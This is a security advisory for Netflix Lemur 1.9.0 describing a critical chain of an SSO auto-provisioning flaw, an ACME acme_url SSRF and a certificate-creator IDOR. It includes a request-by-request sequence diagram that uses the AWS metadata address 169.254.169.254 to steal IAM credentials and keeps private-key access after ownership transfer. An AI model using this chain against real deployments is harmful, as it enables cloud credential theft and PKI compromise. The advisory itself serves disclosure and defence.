netflix/lemur · Security
Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise
- GHSA ID
- GHSA-v2wp-frmc-5q3v
- CVE ID
- CVE-2026-55166
- Severity
- critical
- Published
- Updated
- CVSS
- 9.9 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
- CVSS v3
- 9.9 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Description
| Field | Value |
|---|---|
| Title | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR |
| Component | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision) |
| CWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization) |
| Attack Prerequisite | A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar. |
| Affected Versions | github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks. |
Exploit Code & Lab Set-up
Lemur-acme-ssrf-creator-idor.zip
Attacker->>Lemur: "SSO callback for new identity (sink 1)"
Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"
Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"
Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
Attacker->>Lemur: "GET /api/1/certificates/1/key"
Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"
Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"
Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
Note over CertDB: "audit log shows admin owns it, attacker still has the key"
CWEs
- CWE-285 · Improper Authorization
- CWE-639 · Authorization Bypass Through User-Controlled Key
- CWE-918 · Server-Side Request Forgery (SSRF)